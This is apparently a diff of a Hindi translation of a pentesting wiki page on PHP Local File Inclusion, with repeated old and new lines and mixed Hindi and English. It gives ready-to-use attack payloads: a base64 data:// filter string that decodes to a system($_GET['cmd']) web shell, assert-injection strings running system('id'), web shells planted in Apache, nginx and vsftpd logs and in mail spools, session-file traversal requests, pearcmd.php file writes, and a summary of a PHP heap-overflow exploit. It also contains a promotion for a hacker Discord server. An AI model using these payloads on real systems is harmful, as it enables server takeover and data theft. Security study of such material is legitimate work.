यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 का उपयोग करके b64 PHP कोड को डिकोड किया जा सकता है और RCE प्राप्त किया जा सकता है:
{% code overflow="wrap" %}
```
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
{% endhint %}
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग नहीं करने वाला** होगा:
@ -206,7 +206,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
यह [दस्तावेज़ों](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और पूर्ण पथ घटक से जोड़ना जारी रहता है।
## जावा सूची निर्देशिकाएँ
@ -252,17 +252,17 @@ PHP फ़िल्टर डेटा पर **संशोधन संचा
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: डेटा से टैग हटाएँ (सब कुछ "<" और ">" अक्षरों के बीच)
* `string.strip_tags`: डेटा से टैग हटाएँ (सब कुछ "<" और ">" वर्णों के बीच)
* ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। **सभी समर्थित एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
* `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। सभी समर्थित **एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
{% hint style="warning" %}
`convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया को मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)।
`convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ** उत्पन्न कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया को मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)।
{% endhint %}
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
@ -308,30 +308,30 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### मनमाने फ़ाइलों को पढ़ने के लिए php फ़िल्टर का उपयोग करना
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर)** पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग क टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर)** पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग करके टेक्स्ट को इतना बड़ा बनाया जा सकता है कि php एक अपवाद फेंक दे।
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
* टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
* इसका उपयोग तब किया जाएगा जब प्रारंभिक अक्षर सही तरीके से अनुमानित किया जाए तो एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए** कि php एक **त्रुटि** उत्पन्न करेगा।
* **`UCS-4LE`** कोडेक का उपयोग करें ताकि टेक्स्ट के अग्रणी वर्ण को शुरुआत में छोड़ दिया जाए और स्ट्रिंग का आकार तेजी से बढ़े
* इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाए** कि php एक **त्रुटि** उत्पन्न करेगा।
* **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
* यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
* कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk ने इसे नहीं हटाया और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
* प्रारंभ में **rot13** जैसे अन्य परिवर्तन का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
* यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
* **convert.iconv.UNICODE.CP930** कोडेक हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक का 6 बार उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
* प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
* जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
* अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर प्राप्त करना संभव है।
* और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटां** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
* अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
* और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
पोस्ट में इसे स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)।
### php://fd
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोले गए फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोली गई फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
आप **php://stdin, php://stdout और php://stderr** का उपयोग **फाइल डिस्क्रिप्टर्स 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
### zip:// और rar://
@ -405,26 +405,26 @@ For a detailed understanding of exploiting deserialization vulnerabilities in th
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
यह संभव था कि **PHP से किसी भी मनमाने फ़ाइल को पढ़ने का दुरुपयोग किया जाए जो PHP फ़िल्टर का समर्थन करता है** ताकि RCE प्राप्त किया जा सके। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए **किसी भी पते पर कुछ भी लिखने** में सक्षम हो सके, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक PHP फ़िल्टर का दुरुपयोग करके।
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — संकुचन धाराएँ
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले पथ नाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — सुरक्षित शेल 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो धाराएँ (मनमाने फ़ाइलों को पढ़ने के लिए उपयोगी नहीं)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) जोखिम PHP में 'assert' फ़ंक्शन के साथ काफी अधिक होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकते हैं। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
Local File Inclusion (LFI) जोखिम PHP में 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं किया गया है।
For example, PHP code might be designed to prevent directory traversal like so:
```bash
@ -434,18 +434,18 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
इसी तरह, मनमाने सिस्टम कमांड निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
इसी तरह, मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
```plaintext
' and die(system("id")) or '
```
यह महत्वपूर्ण है कि **इन पेलोड्स को URL-encode करें**
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़े
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हो
**वास्तविक समय हैक समाचार**\
वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
@ -453,7 +453,7 @@ assert("strpos('$file', '..') === false") or die("");
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**हमसे जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**आज ही शीर्ष हैकर्स के साथ सहयोग शुरू करने के लिए** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें!
## PHP ब्लाइंड पाथ ट्रैवर्सल
@ -465,9 +465,9 @@ assert("strpos('$file', '..') === false") or die("");
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है अन्य फ़िल्टर जैसे **base64** या **rot13** के साथ और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13** और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्ष्य पढ़ें केवल इसके साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**संभावित कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इस पर)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाँच करें!
@ -479,7 +479,7 @@ assert("strpos('$file', '..') === false") or die("");
### अपाचे/एनजिनक्स लॉग फ़ाइल के माध्यम से
यदि अपाचे या एनजिनक्स सर्वर **LFI के लिए कमजोर** है तो आप शामिल फ़ंक्शन के अंदर **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, उपयोगकर्ता एजेंट के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल सेट करें जैसे **`<?php system($_GET['c']); ?>`** और उस फ़ाइल को शामिल करें
यदि अपाचे या एनजिनक्स सर्वर **LFI के लिए कमजोर** है तो आप समावेश फ़ंक्शन के अंदर **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें
{% hint style="warning" %}
ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं** बजाय **साधारण कोट्स के**, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहाँ एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**
@ -504,7 +504,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### ईमेल के माध्यम से
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने का प्रयास करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
@ -539,7 +539,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP ये सत्र _/var/lib/php5/sess\\_\[PHPSESSID]\_ फ़ाइलों में संग्रहीत होते हैं
PHP में ये सत्र _/var/lib/php5/sess\\_\[PHPSESSID]\_ फ़ाइलों में संग्रहीत होते हैं
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -558,14 +558,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **Via** **vsftpd** _**logs**_
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक स्थानीय फ़ाइल समावेशन (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक एक्सपोज़्ड vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
2. इंजेक्शन के बाद, LFI का उपयोग करके _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करें।
### Via php base64 filter (using base64)
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर केवल Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **मनचाहा php कोड** शामिल करने के लिए **बिना लिखे** इसे एक फ़ाइल में उत्पन्न कर सकते हैं
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **कोई भी php कोड उत्पन्न कर सकते हैं** शामिल करने के लिए **बिना इसे एक फ़ाइल में लिखे**
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -597,7 +597,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **कोई सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **कोई सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -613,7 +613,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via `pearcmd.php` + URL args
जैसा कि [**इस पोस्ट में बताया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
निम्नलिखित अनुरोध `/tmp/hello.php` में सामग्री `<?=phpinfo()?>` के साथ एक फ़ाइल बनाता है:
@ -632,7 +632,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file\_uploads = on)
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को प्रदर्शित करती है जिसमें file\_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को file\_uploads = on के साथ प्रदर्शित करती है, तो आप RCE प्राप्त कर सकते हैं:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -640,7 +640,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
यदि आपने **Local File Inclusion** पाया है और आप **temp फ़ाइल का पथ निकाल सकते हैं** लेकिन **सर्वर** **जांच रहा है** कि **शामिल की जाने वाली फ़ाइल में PHP मार्क हैं**, तो आप इस **Race Condition** के साथ उस जांच को **बायपास** करने की कोशिश कर सकते हैं:
यदि आपने **Local File Inclusion** पाया है और आप **temp फ़ाइल का पथ निकाल सकते हैं** लेकिन **सर्वर** **जांच रहा है** कि **शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं**, तो आप इस **Race Condition** के साथ उस जांच को **बायपास** करने की कोशिश कर सकते हैं:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@ -670,7 +670,7 @@ _भले ही आप PHP Fatal Error का कारण बनें, PHP
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
